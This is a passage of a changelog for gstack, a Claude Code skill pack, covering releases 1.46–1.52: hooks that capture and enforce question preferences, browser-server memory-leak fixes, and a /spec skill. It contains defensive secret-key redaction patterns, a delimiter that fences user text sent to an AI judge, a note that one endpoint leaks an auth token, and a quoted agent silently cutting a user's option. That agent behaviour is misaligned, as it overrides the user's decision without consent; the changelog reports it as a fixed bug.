Coverage: a free resolver-level unit test pins per-skill slug + tag metadata + the compressed token budget (test/resolvers-gbrain-save-results.test.ts, 10 tests / 53 assertions); a free override-mechanism test asserts the detection file gates resolver rendering correctly across detected: true, detected: false, and no file states (test/gbrain-detection-override.test.ts, 4 tests); a periodic-tier fake-CLI E2E drives /office-hours against a stub gbrain on PATH and asserts the agent actually calls gbrain put office-hours/<slug> with valid YAML frontmatter (test/skill-e2e-office-hours-brain-writeback.test.ts, ~$0.50-1/run); a periodic-tier real-CLI round-trip drives gbrain init --pglite + gbrain put + gbrain get against an isolated temp HOME and asserts the body survives (test/skill-e2e-gbrain-roundtrip-local.test.ts, ~$0.001/run, skips if VOYAGE_API_KEY is unset). Together: the agent obeys the resolver instruction, the resolver emits a valid CLI shape, and the CLI persists the page on the local engine. Remote/Supabase routing is gbrain's contract to honor — the same CLI shape covers all engines, so gstack stops at local round-trip coverage.

For contributors (save-results layer):

bin/gstack-config gbrain-refresh re-runs bin/gstack-gbrain-detect and writes ~/.gstack/gbrain-detection.json. ./setup runs this at the end of install and conditionally regenerates Claude-host SKILL.md with bun run gen:skill-docs:user (added package.json script) so detected installs get the brain blocks immediately.

The default bun run gen:skill-docs (CI canonical) ignores the detection file. Committed SKILL.md stays reproducible regardless of any developer's local gbrain state. Use bun run gen:skill-docs:user for user-local installs.

Two follow-ups deferred to TODOS.md (P2): re-verify calibration takes when gbrain v0.42+ ships takes_add (the BRAIN_CALIBRATION_WRITEBACK flag flips); extend the brain-writeback E2E to the other 4 planning skills.

[1.52.0.0] - 2026-05-27

/plan-tune settings actually do something now. Hooks make capture deterministic, preferences binding, and free-text answers loop back as memory.

Before this release, plan-tune was a profile inspector with a hollow substrate. Every gstack skill told the agent "log this AskUserQuestion fire," and in weeks of dogfood, zero events ever landed. Preferences were agent-honored convention. Declared profile dimensions sat in a JSON file doing nothing. After this release: a PostToolUse hook captures every AUQ fire whether the agent remembers to log or not. A PreToolUse hook substitutes auto-decided answers when you've set never-ask. Free-text "Other" responses get dream-cycled through Claude into structured proposals you approve, then injected into future related questions as inline context. Codex sessions are backfilled by a structured-JSONL parser, not regex on transcript text.

The cathedral lands behind one explicit consent prompt at ./setup (with diff preview, backup, and one-command rollback) and stays on once installed.

The numbers that matter

Measured against the existing v1.49 substrate. Reproduce with bun test test/plan-tune-gates.test.ts test/question-log-hook.test.ts test/question-preference-hook.test.ts test/memory-cache-injection.test.ts test/distill-free-text.test.ts test/distill-apply.test.ts test/declared-annotation.test.ts test/gstack-codex-session-import.test.ts test/skill-e2e-plan-tune-cathedral.test.ts.

Metric Before (v1.49.0.0) After (v1.52.0.0) Δ

AUQ events captured per session 0 (agent convention) every fire (hook) substrate works

never-ask preferences enforced 0% (agent convention) 100% (hook + deny+reason) actually binds

Declared profile annotations 0 / week every signal_key match profile renders

Dream-cycle memory persistence 0 (no mechanism) per-project + gbrain mirror cross-project recall

Codex session backfill none (regex idea) structured JSONL parser future-proof

Per-PR test cost added $0 $0 (deterministic; no claude -p) gate-tier safe

Unit + E2E tests added — 96 tests / 8 new files green

Layer What it does Where it lives

1 — Capture PostToolUse hook → question-log.jsonl with dedup + async derive hosts/claude/hooks/question-log-hook.ts

2 — Enforcement PreToolUse hook → deny+reason with auto-decided option hosts/claude/hooks/question-preference-hook.ts

3 — Annotation declared profile → kebab signal_key → plain-English phrase scripts/declared-annotation.ts

4 — Surfaces host-aware Stats, Recent auto-decisions, Audit unmarked plan-tune/SKILL.md.tmpl

5 — Discoverability setup hook-install prompt + post-ship nudge setup, ship/SKILL.md.tmpl

6 — Tests 5 E2E scenarios, all gate tier, $0 cost test/skill-e2e-plan-tune-cathedral.test.ts

7 — Installation schema-aware bin: PreToolUse + PostToolUse, backup + rollback bin/gstack-settings-hook

8 — Dream cycle Anthropic SDK distill + gbrain put_page + memory injection bin/gstack-distill-* + Layer 2 inject

Highest-impact number is the third row: declared profile annotations now render inline before every AUQ that matches a signal_key. Set declared.scope_appetite = 0.85 once during /plan-tune setup, and every "should I bundle this fix?" question shows up with "(your profile leans complete-implementation)" on the recommended option. The same loop applies to verbose-vs-terse, consult-vs-delegate, and ship-now-vs-get-the-design-right.

What this means for solo builders

The feature compounds now. Each AskUserQuestion you answer "Other" with free text gets captured by the hook, batched into proposals by gstack-distill-free-text (3/day cap, ~$0.01 per run), reviewed via /plan-tune distill, and applied as either a never-ask preference, a declared-profile nudge, or a reusable memory nugget that routes to your gbrain (when configured) and reappears as context the next time a related question fires. The dream cycle is the unlock — without it, every nuanced answer evaporated after one turn. Now they accumulate. Run ./setup and accept the hook-install prompt to turn it on, then /plan-tune whenever you want to see what your profile knows about you.

Itemized changes

Added

hosts/claude/hooks/question-log-hook — PostToolUse hook, matcher covers AskUserQuestion + mcp__*__AskUserQuestion. Captures every AUQ fire with marker-first question_id (D18), hash-fallback observed-only, source-tagged.

hosts/claude/hooks/question-preference-hook — PreToolUse hook with (recommended)-label parser, refuse-on-ambiguous (D2 safety), project-then-global preference precedence (D8), one-way safety override. Auto-decided events logged from the hook itself since deny prevents PostToolUse from firing.

scripts/declared-annotation.ts — getDeclaredAnnotation(signal_key) with kebab→underscore namespace mapping. Returns null in the middle band, plain-English phrase in strong bands (>= 0.7 or <= 0.3).

bin/gstack-codex-session-import — structured JSONL parser for ~/.codex/sessions/. Marker-first recovery with pattern fallback, source-tagged codex-import-marker / codex-import-pattern.

bin/gstack-distill-free-text — Layer 8 dream cycle distiller. Anthropic SDK direct call (Haiku 4.5), 3/day rate cap per slug (D7), cumulative cost log, sync-or-background execution context (D14).

bin/gstack-distill-apply — applies one approved proposal to its surface (preference / declared-nudge / memory-nugget), with optional --gbrain-published true flag.

setup — interactive consent prompt for hook installation with diff preview, backup, one-command rollback. Marker-gated so users are asked at most once.

ship/SKILL.md.tmpl Step 21 — post-success plan-tune nudge, marker-gated for at-most-once.

docs/spikes/claude-code-hook-mutation.md + docs/spikes/codex-session-format.md — Phase 1 spike outputs that pinned protocol contracts before implementation.

96 new tests across 8 files: STATE_ROOT honoring, v1.49 gates, settings-hook schema-aware ops, both hooks, declared-annotation, codex import, distill bin, distill apply, memory injection, 5 cathedral E2E scenarios.

Changed

bin/gstack-settings-hook schema-aware rewrite: PreToolUse + PostToolUse registration with _gstack_source tag for dedup, add-event / remove-source / diff-event / rollback / list-sources subcommands. Legacy add/remove SessionStart shape preserved verbatim.

bin/gstack-question-log — accepts source, tool_use_id, free_text; composite dedup on (source, tool_use_id) across last 100 lines (D3); async-fires gstack-developer-profile --derive after every successful write (D17 — without this, sample_size stayed 0).

Three bins (gstack-question-log, gstack-question-preference, gstack-developer-profile) + gstack-config now honor GSTACK_STATE_ROOT env var as highest-priority override (D16 Codex correction — without this, isolation tests silently wrote to real ~/.gstack).

scripts/resolvers/question-tuning.ts preamble — added marker-embedding convention (<gstack-qid:{id}>) and (recommended) label convention. Hook enforcement gates on marker presence.

scripts/question-registry.ts — added signal_key: 'decision-autonomy' to land-and-deploy-merge-confirm and land-and-deploy-rollback so the autonomy dimension has a real signal source.

scripts/psychographic-signals.ts — added decision-autonomy signal map.

plan-tune/SKILL.md.tmpl — new sections (Recent auto-decisions, Audit unmarked, Dream cycle review, Dream cycle distill); host-aware Stats with source breakdown + MARKED %; Step 0 routing extended with dream-cycle gate.

bin/gstack-uninstall — also cleans up plan-tune-cathedral-tagged hooks during uninstall.

For contributors

4 cross-model tension resolutions during eng review locked in: project preferences win over global (D8), hash IDs are observed-only never preference keys (D18), AUQ matcher covers MCP variants (Codex correction), enforcement uses permissionDecision: "deny" + reason instead of "allow" + updatedInput until the AUQ input shape is verified against real Claude Code (T6 conservative path).

Plan-review preamble byte budget ratcheted 39000 → 40000 in test/gen-skill-docs.test.ts (~700 bytes added by the marker convention).

9 Codex outside-voice findings folded directly without re-prompting (matcher correction, derive wiring, settings.json consent, signal_key namespace, etc.).

[1.51.0.0] - 2026-05-27

Long-running browser sessions hold flat RSS on the Bun side. $B memory gives every future OOM receipts instead of a screenshot. Four CDP-resource leak classes closed and pinned with tripwires; a structured diagnostic surfaces Bun heap + per-tab JS heap + Chromium process tree + bounded buffer sizes in real time.

This release closes four leak classes in the browse server that compounded silently across long sidebar sessions: response-body materialization in the requestfinished listener (multi-GB/hour Buffer churn on media-heavy pages), three undetached CDP session call sites (cdp-bridge, write-commands archive, cdp-inspector), an unbounded modificationHistory array in the CSS inspector, and SSE subscriber cleanup that only fired on the abort edge — TCP-died-without-abort cases (Chromium MV3 service-worker suspend, intermediate proxy half-close) left subscribers in the Set forever holding the controller and any queued bytes. All four have invariant tests; a static-grep tripwire fails CI if a future refactor reintroduces direct newCDPSession(...) calls outside the helper module.

Alongside the fixes, $B memory and /memory ship the diagnostic the original 160 GB OOM investigation was missing: Bun RSS + heap breakdown, per-tab JS heap via CDP Performance.getMetrics, Chromium process tree via SystemInfo.getProcessInfo (PID + type + CPU), and the bounded buffer sizes (modificationHistory, activity subscribers, inspector subscribers, console/network/dialog buffers, capture buffer bytes). The sidebar footer polls /memory every 30s with adaptive backoff (drops to 5min if response time exceeds 2s), and a tab-count guardrail fires soft-warn at 50 / hard-warn at 200 with a top-5-by-RAM toast offering one-click close. Single-tab JS heap above 4 GB triggers an immediate toast, catching the WebGL/video runaway case where one tab balloons without the count ever reaching 200.

The numbers that matter

Source: this branch's 16 commits + the post-merge audit reports. Net diff: 23 files changed, +2251 / -143 = 2394 LOC across browse server (TypeScript), gstack extension (JS/HTML/CSS), and tests.

Capability Before this PR After this PR

requestfinished body handling await res.body() on every response, allocates full body Buffer for one .length read req.sizes() reads structured byte count from Network.loadingFinished, zero body materialization, accurate for chunked / gzip / streaming responses

CDP session lifecycle (3 sites) direct newCDPSession, detach missing or success-path-only withCdpSession (try/finally detach) + getOrCreateCdpSession (cached + close-detach) helpers, all 3 sites migrated, static-grep tripwire prevents regression

modificationHistory in CSS inspector unbounded array, grew for every $B css edit across the session bounded FIFO cap 200, evicted-count surfaced in the undo error so the user knows why their target index is gone

SSE subscriber cleanup abort-edge only; TCP-died-without-abort leaked subscriber + controller + queued bytes until process exit createSseEndpoint helper with cleanup on abort + enqueue-throw + heartbeat-throw, idempotent (any edge fires once)

Tab-count visibility none — user could accumulate hundreds of tabs without warning soft warn at 50 (activity entry), action toast at 200 (top 5 by RAM + Close-selected + Snooze), single-tab >4 GB triggers immediate toast

Diagnostic command not available $B memory (text + --json), /memory endpoint (SSE-session-cookie gated), sidebar footer with adaptive backoff

Net change in server.ts (SSE refactor) 132 lines of inline ReadableStream wiring across two endpoints 23 lines, both endpoints route through one helper

Test pins for the leak class none specific 6 new test files, 45 new tests; static-grep tripwire fails CI on regression

What this means for builders

The next time you leave a gbrowser session running for days, the Bun side holds its RSS flat instead of churning on per-response Buffer allocations. If a tab does go rogue, the sidebar footer shows you in real time — RSS: 5.6 GB · 12 tabs, color-coded — and a 200-tab toast surfaces the top RAM consumers with one-click close before you hit the OS OOM killer. If the next OOM still fires, $B memory is there to give it receipts instead of theory: Activity Monitor says 160 GB; the diagnostic tells you which process tree, which tabs, and which in-memory structures are holding it. Every code path the diagnostic measures is also bounded — modificationHistory at 200, console/network/dialog buffers at 50K via the existing CircularBuffer, SSE subscribers via the new cleanup contract — so the bookkeeping itself can't leak.

Itemized changes

Added

$B memory command in browse/src/memory-command.ts — text mode with sorted top-10 tabs + "and N more" tail; --json mode for programmatic consumers and the sidebar footer poll.

/memory HTTP endpoint in browse/src/server.ts — same SSE-session-cookie auth model as /activity/stream. Deliberately NOT extending /health (which already leaks AUTH_TOKEN in headed mode per TODOS.md "Audit /health token distribution").

BrowserManager.getMemorySnapshot() — collects Bun process memory + per-tab JS heap via Performance.getMetrics (lazy per tracked page, swallows target-died errors) + Chromium process tree via Browser.newBrowserCDPSession() + SystemInfo.getProcessInfo.

browse/src/memory-snapshot.ts — shared types (MemorySnapshot, MemoryTabSnapshot, MemoryProcess, MemoryStructureStats) plus formatBytes() renderer (4 tiers, 2 decimals at GB).

withCdpSession(page, fn) and getOrCreateCdpSession(page, cache) in browse/src/cdp-bridge.ts — lifecycle helpers for one-shot and cached CDP work. Every direct newCDPSession call site now routes through one of them.

createSseEndpoint(req, config) in browse/src/sse-helpers.ts — owns the SSE cleanup contract (abort + enqueue-throw + heartbeat-throw, all idempotent). Built-in lone-surrogate sanitization on every JSON.stringify.

Sidebar footer RSS readout in extension/sidepanel.{html,js,css} — polls /memory every 30s with 5-minute backoff if response time exceeds 2s. Color-coded thresholds: orange at 2 GB Bun RSS or 50 tabs, red at 8 GB or 200 tabs.

Tab guardrail UX in extension/sidepanel.js — top-5-by-RAM toast at 200 tabs OR any single tab over 4 GB JS heap, with checkboxes + Close-selected (via $B closetab) + Snooze persisted in chrome.storage.session. Snooze bumps the thresholds so the toast stays hidden until the user accumulates more tabs or one tab grows another 2 GB.

Static-grep tripwire (browse/test/cdp-session-cleanup.test.ts) — fails CI if any source file outside cdp-bridge.ts calls newCDPSession(...) directly.

45 new tests across 6 files pinning the leak-fix invariants: CDP session lifecycle (8), SSE cleanup contract (6), modificationHistory cap + evicted-aware error (7), tab guardrail fires-once + re-arms (6), body-materialization reproducer (1), $B memory formatter + byte renderer + JSON entry (17).

4 follow-up entries in TODOS.md (P2: MV3 SW memory profile, P2: native + GPU memory breakdown, P3: single-context CDP listener via Target.setAutoAttach, P3: real-Chromium peak-RSS reproducer for periodic tier).

Changed

wirePageEvents.requestfinished no longer materializes response bodies. Pre-fix: await res.body() allocated a Bun Buffer of the full response on every fetch just to read .length. Post-fix: req.sizes() pulls the structured byte count from Network.loadingFinished without body fetch. Accurate for chunked transfer, gzip-encoded responses, and streaming media.

modificationHistory capped at 200 entries with FIFO eviction. undoModification error now reports "No modification at index N. History has 200 entries (most recent 200 only — M earlier entries evicted at the cap)." when the requested index is out of range AND the buffer has overflowed.

/activity/stream and /inspector/events refactored through createSseEndpoint. Both endpoints collapse from ~45 lines of inline ReadableStream wiring to ~8 lines of helper config; behavior preserved bit-for-bit.

memory command classified under the Server category in COMMAND_DESCRIPTIONS so it appears in the generated SKILL.md tables alongside status / restart / handoff.

For contributors

Plan completion audit: 12 of 17 plan items DONE, 2 CHANGED (deliberate scope decisions documented in the relevant commits — req.sizes() swap simpler than a single-context CDP listener; tab guardrail action toast wired through $B closetab instead of a chrome.tabs.remove bridge), 1 deferred to periodic tier (UI E2E tests).

Coverage audit: 44% pre-diagnostic-tests → ~62% after adding the formatter coverage. Strong paths (CDP session lifecycle, body materialization, history cap, tab guardrail, SSE cleanup) all at 100% with invariant tests. Extension UI tests deferred (no extension test harness in this repo today).

The CDP-session cleanup tripwire is the most reusable artifact here — any future addition of CDP work should route through the two helpers. Trying to call newCDPSession outside cdp-bridge.ts fails CI immediately with a pointer to the right helper.

[1.49.0.0] - 2026-05-26

/plan-tune learns to ask for consent before logging, and runs the 5-question setup automatically when your profile is empty.

Run /plan-tune the first time and you get an opt-in prompt. Accept and the 5-question wizard fills in your declared profile in about two minutes. Decline and /plan-tune never asks again. Contributors see a slightly different prompt explaining that local question-log data helps gstack calibrate, but the default is the same: off until you say yes.

If you already opted in via gstack-config set question_tuning true and skipped the wizard, the next /plan-tune runs just the 5-question setup so your profile actually has values.

Both flows write marker files in ~/.gstack/ so you're asked at most once per choice.

Itemized changes

Added

/plan-tune consent prompt with contributor-specific copy. Honored by ~/.gstack/.question-tuning-prompted marker.

/plan-tune setup gate. Catches question_tuning: true with empty declared. Honored by ~/.gstack/.declared-setup-prompted marker.

Changed

TODOS.md E1 dependency line aligned with the canonical 90-day gate in docs/designs/PLAN_TUNING_V0.md. The 7-day diversity gate is for displaying inferred values in /plan-tune output; the 90-day gate is for shipping behavior adaptation. Both gates documented inline in plan-tune/SKILL.md.tmpl.

TODOS.md E1 substrate constraint: E1 adaptations land as advisory annotations on AskUserQuestion recommendations, not as runtime AUTO_DECIDE on inferred profile alone.

For contributors

plan-tune/SKILL.md size budget override (50,123 → 52,963 bytes, ×1.06 vs v1.44.1 baseline). Reason logged to audit trail.

[1.48.0.0] - 2026-05-26

Agents stop dropping AskUserQuestion options when there are 5+. A new canonical preamble rule + runtime gate makes Conductor's 4-option cap a split-or-batch decision, not a silent trim.

The failure mode looked like this in real transcripts:

"I'm hitting Conductor's limit of 4 options in the AUQ, so I need to cut one. E4 is the biggest lift and probably beyond scope for v0.42 anyway. Trimming: E4. Moving to TODOs without asking. Re-firing with 4."

The agent unilaterally cut an option from the user's decision set. This release names that as a bug and gives the agent two compliant shapes for any 5+ option scenario: batch into ≤4-groups when the options are coherent alternatives (version bumps, layout variants), or split into N sequential per-option calls when the options are independent scope items (which platforms to ship, which TODOs to land). Default-to-split when unsure. The inline preamble subsection is intentionally compressed; full reference with worked examples, Hold/dependency semantics, and final-summary validation lives in docs/askuserquestion-split.md — loaded on demand when N>4.

A two-layer defense protects the option set from being silently auto-approved: per-option question_ids of shape <skill>-split-<option-slug> are unique per option (preferences can't leak across the chain), and the runtime checker bin/gstack-question-preference --check refuses never-ask on any *-split-* id with an explanatory note. The user's option set is sacred — the whole point of splitting is restoring user sovereignty over the decision space.

The numbers that matter

Source: this branch's 4 commits + the post-merge regen against main at v1.47.0.0. Net diff: 57 files, ~2800 lines (most of it mechanical SKILL.md regen across all 41 tier-2+ skills, ~34 lines added per skill from the inline subsection injection).

Capability Before this PR After this PR

5+ options for ONE decision drop one to fit cap, hope user doesn't notice split into N per-option calls OR batch into ≤4-groups, name the rule in the preamble

Per-option call shape n/a (couldn't reliably produce one) D<N>.k header, Include / Defer / Cut / Hold buckets, kind-note (no completeness score), recommendation per option

Hold semantics undefined (chain might queue, might stop, agent-dependent) stop chain immediately, resume on user "continue"

Final summary n/a D<N>.final validates dependencies, reprompts conflicts, confirms assembled scope

D<N>.0 meta-question (N>6) n/a tool-call meta-question first: proceed / narrow / batch

AUTO_DECIDE on split per-option calls possible if user tuned the pattern via /plan-tune runtime checker forces ASK_NORMALLY on any *-split-* id, with explanatory note

Regression coverage n/a 6 inline-contract tests + 7 runtime-gate tests + 1 periodic-tier E2E behavior test (5-option scope fixture)

Inline preamble bytes per SKILL.md n/a ~1.6 KB (vs ~4 KB if the full rule were inlined; deeper reference loaded on demand)

What this means for builders

Next time you give an agent a scope question with 5+ candidates, you'll see one of three shapes: a single batched AskUserQuestion with ≤4 buckets (if the options are coherent alternatives), N sequential per-option calls each with Include/Defer/Cut/Hold (if they're independent), or a D<N>.0 meta-question first asking whether to proceed/narrow/batch (if N>6). You'll never see a silent trim. If you've ever wired up a /plan-tune never-ask preference, it now refuses to apply to split chains — the runtime check forces ASK_NORMALLY with a note explaining why.

Itemized changes

Added

New canonical preamble subsection in scripts/resolvers/preamble/generate-ask-user-format.ts: "Handling 5+ options — split, never drop". Inline-compressed (~1.6 KB per tier-2+ skill); full reference at docs/askuserquestion-split.md.

docs/askuserquestion-split.md: ~200-line deep reference covering both compliant shapes (batched / split), per-option call mechanics with D<N>.k numbering, Hold-means-stop semantics, final-summary dependency validation with conflict reprompt, D<N>.0 meta-question for N>6, <skill>-split-<option-slug> question_id format, and the two-layer AUTO_DECIDE defense.

Runtime AUTO_DECIDE gate in bin/gstack-question-preference --check: detects any question_id matching *-split-* and forces ASK_NORMALLY regardless of stored never-ask or ask-only-for-one-way preferences. Emits an explanatory note so the user knows their preference was bypassed and why.

test/skill-e2e-plan-ceo-split-overflow.test.ts: periodic-tier regression test using a 5-option chat-platform integration fixture. Floor 4 review-phase AUQs (N-1 tolerance). Catches the original drop-to-fit-4 failure mode.

Changed

Test baseline anchor rebased v1.44.1 → v1.47.0.0 in test/skill-size-budget.test.ts. Main's v1.46 (catalog tokens) + v1.47 (/spec) growth pushed the v1.44.1 anchor past the 5% ratchet; rebasing absorbs that growth at HEAD. Historical parity-baseline-v1.44.1.json and parity-baseline-v1.46.0.0.json retained in test/fixtures/ for reference.

3 self-check items added to the AskUserQuestion preamble checklist (split-not-drop, dependency-check-before-chain, Hold-stops-immediately).

41 tier-2+ skills regenerated to inherit the new subsection (~34 lines each via the preamble resolver).

3 golden ship fixtures refreshed for the new preamble.

Fixed

Orphan 12. numbered-list prefix on the existing CJK rule in generate-ask-user-format.ts — refactoring artifact, no items 1-11 above it. Removed.

docs/skills.md missing /spec table row (pre-existing miss from PR #1698/#1733 that landed /spec to main without updating the doc inventory). Added.

For contributors

6 resolver tests pin the inline-subsection contract (4-option cap text, Include/Defer/Cut/Hold buckets, D-numbering shape, AUTO_DECIDE runtime gate reference, docs pointer, orphan-12 regression).

7 runtime-gate tests in test/gstack-question-preference.test.ts cover the carve-out: no-pref baseline, never-ask override, explanatory note text, ask-only-for-one-way override, always-ask (no note), non-split id containing "split" word (negative regex specificity), multi-skill split id formats.

parity-baseline-v1.47.0.0.json captured via bun run scripts/capture-baseline.ts --tag v1.47.0.0.

[1.47.0.0] - 2026-05-26

/spec ships: turn vague intent into a precise, executable spec in five phases. Pipe the spec into a spawned Claude Code agent, dedupe against existing issues, archive locally for the team corpus, and let /ship close the source issue on merge.

A precise spec collapses an agent's clarification roundtrips from N to zero. /spec is the verb that turns thoughts into commits: five strict phases (why, scope, technical with mandatory code-reading, draft, file), a codex quality gate before file, archive to $GSTACK_STATE_ROOT/projects/$SLUG/specs/, and optional pipeline-mode spawn into a fresh worktree. Plan-mode aware: in plan mode /spec files the issue and loads the spec into your active plan file; in execution mode it files the issue and spawns claude -p in a fresh worktree by default. /ship reads the archive frontmatter and auto-closes the source issue on full delivery. Adapted from a community-contributed /issue skill (PR #1698 by @jayzalowitz) with rename, race+security hardening, and DX polish.

/spec is the first skill registered against the v1.46 eval-first floor (test/skill-coverage-matrix.ts), passing all six structural floor checks plus 37 deterministic invariant assertions specific to /spec's contract. Skill catalog count: 51 → 52.

The numbers that matter

Source: 1 contributor commit + 8 follow-on bundled fixes/expansions on this branch (git log v1.46.0.0..HEAD --oneline). Template at spec/SKILL.md.tmpl (404 → ~750 lines after expansions), 4 new test files (37 deterministic scenarios + 2 periodic-tier stubs).

Capability Without /spec With /spec

Author backlog-ready issue freehand prose, sloppy AC, no file refs, 10-15 min per issue 5-phase interrogation with hard-grep Phase 3, file-refs at path:line, quantified impact, ~4 min

Spec → agent execution copy-paste into new claude -p session, ~30s context-switch friction --execute spawns automatically in fresh worktree spec/<slug>-$$, zero hand-off

Catch ambiguity before file none (you find out when the implementer asks) codex quality gate scores 0-10, blocks below 7, lists ambiguities, up to 3 iterations

Secret leakage to second-AI judge possible if spec contains pasted secret fail-closed redaction blocks dispatch on AWS/GitHub/Anthropic key patterns + private key blocks

Concurrent /spec runs branch/archive collisions on same second unique spec/<slug>-$$ branches, atomic .tmp/mv archive write, PID-suffixed filenames

Linked issue closure manual Closes #N in PR body /ship auto-adds when archive present AND full spec delivered

What this means for builders

Type /spec on a vague bug; four minutes later you have a filed GitHub issue with file refs and a Claude Code agent already executing it in a fresh worktree. When /ship lands the PR, the source issue auto-closes. The corpus of past specs in $GSTACK_STATE_ROOT/projects/$SLUG/specs/ is mineable by gbrain for cross-session pattern recall. --no-gate, --no-execute, --file-only, and --plan-file <path> are escape hatches when the defaults don't fit; --audit routes to the Audit/Cleanup template structure.

Itemized changes

Added

/spec skill (renamed from contributor's /issue): five-phase interrogation producing backlog-ready specs. Lives at spec/SKILL.md.tmpl.

--dedupe flag (default ON): gh issue list --search before drafting, surfaces near-duplicates via AskUserQuestion; graceful skip on gh missing/unauthed/rate-limited.

--execute flag (default ON in execution mode): spawns claude -p in a fresh Conductor worktree on branch spec/<slug>-$$, with dirty-worktree gate, TOCTOU re-check after AskUserQuestion answer, SHA pin via git rev-parse HEAD, and mandatory final-confirm gate.

Quality-score gate (default ON): codex adversarial dispatch with hard <<<USER_SPEC>>> delimiter + instruction boundary, score 0-10, blocks at <7, up to 3 iterations, AskUserQuestion escape on persistent <7 (ship anyway / save draft / one more try).

Fail-closed redaction in quality gate: regex match against AWS access keys (AKIA...), GitHub tokens (ghp_/gho_/ghs_), Anthropic keys (sk-ant-...), OpenAI keys, .env-style KEY=value, and -----BEGIN ... PRIVATE KEY----- blocks → block dispatch entirely. Raw spec never persisted to archive or transcript on block.

--audit flag routes Phase 5 to the Audit/Cleanup template structure.

--file-only / --no-execute / --plan-file <path> overrides for plan-mode-aware Phase 5 default.

--sync-archive opt-in for cross-machine spec sync (archives stay local by default; /specs/ excluded from artifacts-sync allowlist).

Spec archive: writes to $GSTACK_STATE_ROOT/projects/$SLUG/specs/<datetime>-<pid>-<slug>.md via existing gstack-paths resolver (handles GSTACK_HOME, CLAUDE_PLUGIN_DATA, Windows fallback). Atomic .tmp/mv write prevents collision on concurrent runs.

GSTACK_PLAN_MODE env var: emitted by {{PREAMBLE}} based on CLAUDE_PLAN_FILE presence. Skills can branch behavior on plan-mode state without parsing system reminders.

/spec entry in the gstack routing block injected into project CLAUDE.md.

/ship PR body integration: reads spec_issue_number from archive frontmatter and adds Closes #N when the spec is fully delivered per the existing plan-completion gate. Partial delivery emits a "Linked to #N (not auto-closing)" notice instead.

/spec entry in test/skill-coverage-matrix.ts (52nd skill, eval-first floor compliance per v1.46 contract).

Tests

test/spec-template-invariants.test.ts: 35 deterministic invariants covering Phase 1 hard gate, Phase 3 hard-grep mandate, --dedupe graceful-skip paths, --execute race + security hardening (TOCTOU re-check, SHA pin, unique branch), quality-gate redaction patterns and BLOCKED path, archive atomic write + sync exclusion, plan-mode-aware Phase 5 dispatch.

test/spec-template-sync.test.ts: regenerates spec/SKILL.md and asserts byte-identical output (prevents template-vs-generated drift).

test/skill-e2e-spec-execute.test.ts (periodic-tier): full /spec --execute pipeline scaffold registered in E2E_TIERS.

test/skill-llm-eval-spec.test.ts (periodic-tier): authored-spec quality eval against the 14-Quality-Standards rubric.

Fixed

Duplicate analytics block in spec/SKILL.md.tmpl (was bypassing the _TEL != "off" opt-out gate; {{PREAMBLE}} already emits the analytics write with the guard).

For contributors

Community contribution: PR #1698 by @jayzalowitz (Jay Zalowitz) lands as the foundation commit with original authorship preserved. Contributor's 5 phases, 14 Quality Standards, and Standard/Epic/Audit templates carried forward intact; expansions are additive.

Plan reviewed across /plan-ceo-review (SCOPE EXPANSION, 5 of 6 expansions accepted), /plan-eng-review (race + security hardening), and /plan-devex-review (persona, magical moment, error-message Tier 1, plan-mode-aware Phase 5).

28 codex adversarial findings across 3 review rounds, 23 accepted.

[1.46.0.0] - 2026-05-26

gstack v2 foundation lands. Catalog tokens drop 56%, eval-first floor covers all 51 skills, hard token + dollar caps gate every PR.

The always-loaded skill catalog — what every Claude Code session pays for at startup before any real work begins — went from ~9,319 tokens to ~4,045 tokens. That's a 56.6% cut to the surface gstack has been criticized for (third-party review, May 2026: "10K+ tokens before any real code is written"). Heavyweight skills like /ship, /plan-ceo-review, /office-hours still ship their full content, but their frontmatter descriptions trim to one sentence each; the routing prose lives in a new "## When to invoke" body section, and a per-run scripts/proactive-suggestions.json registry holds the voice-trigger + proactive-suggest text so agents can pull guidance on demand instead of always-loaded.

This is the v2 foundation release. The architectural break — sections/*.md.tmpl pattern, mechanical Read enforcement, eval-coverage annotations — lands in v2.0.0.0 as a coordinated launch. v1.46 absorbs every low-risk win, ships the eval-first floor every future skill must pass, and locks in the v1.44.1 reference baseline so reviewers can audit v1→v2 numbers against a real file (test/fixtures/parity-baseline-v1.44.1.json).

The numbers that matter

Source: bun run scripts/capture-baseline.ts --tag v1.46.0.0 vs the locked v1.44.1 baseline at test/fixtures/parity-baseline-v1.44.1.json. Reproduce locally with bun test test/skill-size-budget.test.ts.

Metric v1.44.1 v1.46.0.0 Δ

Catalog tokens (always-loaded system prompt) ~9,319 ~4,045 −56.6%

Total SKILL.md corpus 2,847 KB 2,813 KB −1.2%

ship.md 160 KB 159 KB −0.5%

plan-ceo-review.md 128 KB 127 KB −0.7%

office-hours.md 108 KB 108 KB −0.8%

Skills with gate-tier eval coverage 32 of 51 51 of 51 floor achieved

Cathedral parity invariants pinned 0 10 structural + content

Token & dollar budget regressions caught at CI (none) 5 new test files per-skill, corpus, catalog, eval-cost gate, eval-cost periodic

The corpus barely moved because the catalog trim MOVES routing prose from frontmatter to a body section — it doesn't delete it. The always-loaded surface drops by more than half because catalog text is what Claude Code reads on every session start; body content only loads when the skill is invoked.

What this means for you

If you use any gstack skill, every session starts ~5,000 tokens lighter before you type anything. Heavyweight invocations like /ship cost about the same as before, but session startup feels snappier. If you've been on the fence about installing gstack because of the "fat" reputation, this is the release that addresses it directly: the always-loaded surface is now competitive with stripped-down skill packs while every skill keeps its full body content.

If you contribute skills, the eval-first floor means a new SKILL.md without an entry in test/skill-coverage-matrix.ts fails CI. The minimum entry is one line referencing test/skill-coverage-floor.test.ts (the free structural-compliance smoke test). Behavioral E2E coverage gets layered on top per skill.

If you run gstack in CI, the new EVALS_BUDGET_HARD_CAP=$30 cap (per-suite: gate $25 / periodic $70) stops runaway eval costs from a model price change or infinite-retry bug. Override path exists for legit-need-more cases: EVALS_BUDGET_OVERRIDE_REASON="why this is OK" logs to ~/.gstack/analytics/spend-overrides.jsonl for audit.

Itemized changes

Added

scripts/capture-baseline.ts + test/helpers/capture-parity-baseline.ts — captures per-skill SKILL.md sizes, token estimates, frontmatter description lengths, and eval coverage flags. Writes JSON snapshots used by the parity and size-budget gates. Locks test/fixtures/parity-baseline-v1.44.1.json as the v1→v2 reference.

test/helpers/parity-harness.ts + test/parity-suite.test.ts — cathedral parity-eval suite floor. PARITY_INVARIANTS registry pins must-preserve phrases per skill family (cso: OWASP/STRIDE; plan-ceo: SCOPE EXPANSION / HOLD SCOPE; ship: VERSION/CHANGELOG/PR) so future compression can't silently strip load-bearing prose.

